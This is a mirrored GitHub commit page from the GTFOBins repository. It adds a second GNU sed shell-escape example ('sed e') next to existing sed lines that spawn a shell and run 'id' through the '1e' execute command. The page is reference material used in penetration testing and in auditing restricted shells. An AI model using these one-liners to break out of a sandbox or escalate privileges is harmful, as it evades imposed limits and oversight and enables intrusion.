mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
Add sed shell alternative example
This commit is contained in:
parent
3bc83dcbde
commit
20607b9b3c
@ -3,6 +3,8 @@ functions:
|
|||||||
shell:
|
shell:
|
||||||
- description: GNU version only. Also, this requires `bash`.
|
- description: GNU version only. Also, this requires `bash`.
|
||||||
code: sed -n '1e exec sh 1>&0' /etc/hosts
|
code: sed -n '1e exec sh 1>&0' /etc/hosts
|
||||||
|
- description: GNU version only. The resulting shell is not a proper TTY shell.
|
||||||
|
code: sed e
|
||||||
command:
|
command:
|
||||||
- description: GNU version only.
|
- description: GNU version only.
|
||||||
code: sed -n "1e id" /etc/hosts
|
code: sed -n "1e id" /etc/hosts
|
||||||
|
Loading…
Reference in New Issue
Block a user